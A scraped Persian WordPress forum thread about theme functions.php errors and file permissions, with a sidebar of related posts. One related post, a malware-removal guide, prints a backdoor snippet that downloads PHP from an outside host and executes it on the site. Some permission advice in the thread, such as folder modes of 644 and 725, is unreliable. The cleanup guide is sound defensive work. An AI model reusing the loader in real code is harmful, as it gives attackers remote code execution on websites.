$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

?>

برای سطح دسترسی روی فایل راست کلیک و read only بزارید.

در نهایت طبق توصیه شما functions.php پوسته ها را بر روی read only قرار دادم.

0

به اشتراک گذاری این پست


لینک به پست

یک نکته (تجربه مهم) هرگز بیش از دو پوسته در پوشه ی themes نگهداری نکنید مگر در مواردیکه برای دمو احتیاج دارید که در این حالت هم حتما دسترسی پوشه های اضافه را به 644 یا کمتر تبدیل کنید و فقط پوشه قالب جاری و پوشه قالب دیفالت وردپرس را 725 بگذارید

اللخصوص در مورد پوسته هایی که بعضی از سایت ها به رایگان می گذارند ولی در واقع رایگان نیستند

(البته مشکل شما به همون عرض قبلی برمی گرده ولی با توجه به حجم بالای قالب های خراب شده یادنم افتاد

2

به اشتراک گذاری این پست


لینک به پست

یک نکته (تجربه مهم) هرگز بیش از دو پوسته در پوشه ی themes نگهداری نکنید مگر در مواردیکه برای دمو احتیاج دارید که در این حالت هم حتما دسترسی پوشه های اضافه را به 644 یا کمتر تبدیل کنید و فقط پوشه قالب جاری و پوشه قالب دیفالت وردپرس را 725 بگذارید

درسته ولی من روی لوکال مشکل داشتم و تا از صحت درستی کارکردن پوسته ها مطمئن نباشم آپلود نمیکنم.

بر روی لوکال باید سطح دسترسی بدم؟ چطوری؟

0

به اشتراک گذاری این پست


لینک به پست

بزارید روی read only

0

به اشتراک گذاری این پست


لینک به پست

سلام دوستان

منم همچین مشکلی رو با فایل function دارم

پنل کاربری وردپرسم این error ها رو میده

Notice: has_cap از نگارش 2.0 از رده خارج شده! استفاده از سطوح دسترسی کاربران توسط افزونه‌ها و پوسته‌ها از رده خارج شده است. از نقش‌های کاربری و توانایی‌ها به‌جای آن‌ها استفاده کنید. in /home/friendsh/public_html/wp-includes/functions.php on line 3017

Warning: Cannot modify header information - headers already sent by (output started at /home/friendsh/public_html/wp-includes/functions.php:3017) in /home/friendsh/public_html/wp-includes/option.php on line 563

Warning: Cannot modify header information - headers already sent by (output started at /home/friendsh/public_html/wp-includes/functions.php:3017) in /home/friendsh/public_html/wp-includes/option.php on line 564

چیکار میتونم بکنم ؟

0

به اشتراک گذاری این پست


لینک به پست

فايل ضمينه كنيد

0

به اشتراک گذاری این پست


لینک به پست

فايل ضميمه رو تست كنيد

فايل ضميمه رو تست كنيد

functions.zip

0

به اشتراک گذاری این پست


لینک به پست

Notice: has_cap از نگارش 2.0 از رده خارج شده! استفاده از سطوح دسترسی کاربران توسط افزونه‌ها و پوسته‌ها از رده خارج شده است. از نقش‌های کاربری و توانایی‌ها به‌جای آن‌ها استفاده کنید. in /home/friendsh/public_html/wp-includes/functions.php on line 3017

Warning: Cannot modify header information - headers already sent by (output started at /home/friendsh/public_html/wp-includes/functions.php:3017) in /home/friendsh/public_html/wp-includes/option.php on line 563

Warning: Cannot modify header information - headers already sent by (output started at /home/friendsh/public_html/wp-includes/functions.php:3017) in /home/friendsh/public_html/wp-includes/option.php on line

564

نه هنوز اررور میده درست نشد

0

به اشتراک گذاری این پست


لینک به پست

Notice: has_cap از نگارش 2.0 از رده خارج شده! استفاده از سطوح دسترسی کاربران توسط افزونه‌ها و پوسته‌ها از رده خارج شده است. از نقش‌های کاربری و توانایی‌ها به‌جای آن‌ها استفاده کنید. in /home/friendsh/public_html/wp-includes/functions.php on line 3017

Warning: Cannot modify header information - headers already sent by (output started at /home/friendsh/public_html/wp-includes/functions.php:3017) in /home/friendsh/public_html/wp-includes/option.php on line 563

Warning: Cannot modify header information - headers already sent by (output started at /home/friendsh/public_html/wp-includes/functions.php:3017) in /home/friendsh/public_html/wp-includes/option.php on line

564

نه هنوز اررور میده درست نشد

wp_debug رو غیرفعال کنید در فایل کانفیگ

1

به اشتراک گذاری این پست


لینک به پست

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری

  • مطالب مشابه

    • توسط yaali
      بنام خدا
      :::لینک دانلود قالب فراسر:::
      دانلود قالب  
      خیلی وقت هست که به دنبال یک قالب وردپرسی ای بودم که جدا از ساده بودن، بتوانم با آن کد لایسنس و چیزایی از این دست بفروشم. علاوه بر اون کد فروخته شده بلافاصله به شماره موبایل مشتری هم پیامک بشه.
      قالبها و افزونه های زیادی ادعا داشتند که می توانند این کار را انجام دهند؛ اما در واقع هیچکدام کامل نبودند و پاسخی برای نیاز صاحبان فروشگاه نداشتند.
      بالاخره بر آن شدیم تا یه قالب ساده و در عین حال سریع و کارآمد برای این کار آماده کنیم. بعد از فراز و نشیب های بسیار، الان در خدمت شما هستیم با معرفی قالب فراسر.
      قالب فراسر یک قالب وردپرس هست که با اون میشه کارای زیادی رو انجام داد. یه نمونه ی معروف از اون فروش کارت شارژ هست. از طرف دیگه میشه با اون کد لایسنس هم فروخت. یعنی یه سایت فروش لایسنس آنتی ویروس داشت.
      با قالب فراسر می تونید هر نوع خدمتی که بر اساس کد و یا متن باشه انجام دهید. مثل فروش اپل آیدی و یا فروش یه جمله عاشقانه به طوری که هر جمله در یک سطر باشه و آپلود بشه و ...
      تصاویری از قالب فراسر رو می بینید:

      این قالب توسط قلم سافت کدنویسی و آماده شده است و زحمت فارسی سازی اون رو بچه های همیاروردپرس کشیدن که به نشانه ی تشکر، متن پایین وبسایت حفظ شده است.
      هنگامی که بر روی هر کدام از دکمه های پرداخت کلیک کنید؛ با صفحه ی زیر منتقل می شوید:

      این تصویر در واقع سبد خرید شماست. این صفحه به صورت خودکار به صفحه پرداخت منتقل می شود. انتقال خودکار اختیاری است که می توانید آن را از این صفحه حذف نمایید.
      در ادامه کاربر به صفحه زیر هدایت می شود. در این صفحه با وارد کردن تنها شماره موبایل خود می تواند خرید را انجام دهد. وارد کردن پست الکترونیکی اجباری نیست.
       

      بعد از وارد کردن اطلاعات و پرداخت، بلافاصله کد مدنظر، به شماره شما پیامک می گردد. این قالب بر اساس پنل پیامکی sms.ir نوشته شده است. بزودی پنل های پیامکی  دیگر نیز به این قالب اضافه خواهند شد.
       
      اگر شما هم مدتهاست که به دنبال چنین قالبی هستید می توانید هم اکنون با کلیک بر روی متن آن را دانلود کنید
       
    • توسط jahanclip_ir
      سلام
      من یک سایت دارم به نام جهان کلیپ  (jahanclip.ir) بعد از نصب گواهینامه ssl در گوشه سمت راست نوار آدرس سایت یک شکل ظاهر میشه که اگر روش کلیک کنی مینویسه اسکریپتهای ناامن.کسی میدونه این مشکل از کجاست؟
       
      ممنون میشم کمکم کنید.
    • توسط logomaster
      سلام دوستان . من دوتا لینک انتهای این تیکت میزارم که مربوط به یک قالب هست ( دو صفحه از یک قالب)
      ساختار کلی این قالب بسیار خوبه از دید من و میخواستم از تم فارست خریداری کنم ! اما به دلیل اینکه فروش خوبی نداشته ، پشتیبانی خوبی نداره و تا بحال فقط یکبار آپدیت شده ، نمیخوام ریسک کنم.
      حالا از دوستان اگر کسی یک قالب مشابه این ( از نظر ساختار و قالب بندی محتوا ، کدهای کوتاه و.... ) میشناسه به من معرفی کنه . این قالب خیلی خیلی به ایده آلی که من از یک قالب در ذهن دارم نزدیکه.
      http://demo.cmssuperheroes.com/themeforest/inbound-marketing/form/
      http://demo.cmssuperheroes.com/themeforest/inbound-marketing/services-2-2/
    • توسط master89
      دوستان سلام
      یک ویروس جدید اومده برای وردپرس که تبلیغات دزدید میکنه. به این صورت که پاپ آپ کلیکی باز میکنه و توی موبایل بدون کلیک پاپ آپ میذاره.
      جالبش اینجاس که روی آی پی Admin وردپرس پاپ آپ نداره و حتی کد هم نمیتونید پیدا کنید!
      شما میتونید از "پنجره ناشناس" فایرفاکس سایت خودتون رو باز کنید و کد و پاپ آپ رو ببینید. اما باز هم اگه با FTP برید داخل همون صفحه و بخواید کد رو پاک کنید. کد مخفی میشه. به این صورت که با هر بار بارگذاری صفحه کد از جایی بازخوانی میشه.
      توی انجمن های فارسی که بحثی ازش نشده فکر کنم، توی انجمن های خارجی هم بحث شده اما جوابی دریافت نشده.
      صفحه اصلی تبلیغ دزد: go.pub2srv.com هست. که هر بار لینک های تبلیغاتی متفاوتی همراه خودش میتونه داشته باشه. راه های زیادی برای از بین بردنش هست. اما باز بر میگرده و به مرور بیشتر میشه.
      نکته آخر : این ویروس با قالب های نال شده و غیر قانونی وارد وبسایت شما میشه. معمولا هم ارائه دهنده این قالب ها سایت vestatheme هست که اکثر وبسایت هایی که قالب های تجاری رو رایگان برای دانلود میذارن، از این وبسایت دریافت میکنند (پس اکثر سایت ها خطرناک شدن)
      آموزش حذف ویروس :
      اول سایتتون رو اینجا وارد کنید و چک کنید
      https://sitecheck.sucuri.net/  
      حالا برید داخل فلدر قالبتون / فایل function.php رو پیدا کنید و ویرایش کنید
      و قطعه کد زیر رو ازش حذف کنید
      if ( ! function_exists( 'wp_temp_setup' ) ) { $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI]; if($tmpcontent = @file_get_contents("http://www.aotson.com/code.php?i=".$path)) { function wp_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "wp_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode); fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } extract(wp_temp_setup($tmpcontent)); } } ?> حالا افزونه  Exploit Scanner رو نصب کنید و اسکن کنید. پس از پایان اسکن ctrl+f رو بزنید و go.pub رو جستجو کنید. اگر نبود، یعنی همه چیز درسته.
      (این افزونه کد های مخفی رو پیدا میکنه و نمایش میده)
      سپاس
    • توسط نگار صادقی
      سلام وقت همگی بخیر.
      دوستان قالب 2017 پیشفرض وردپرس قالب خوبیه؟
      سئوش خوبه؟
      کدنویسی بهینه شده شده است؟
      ممنونم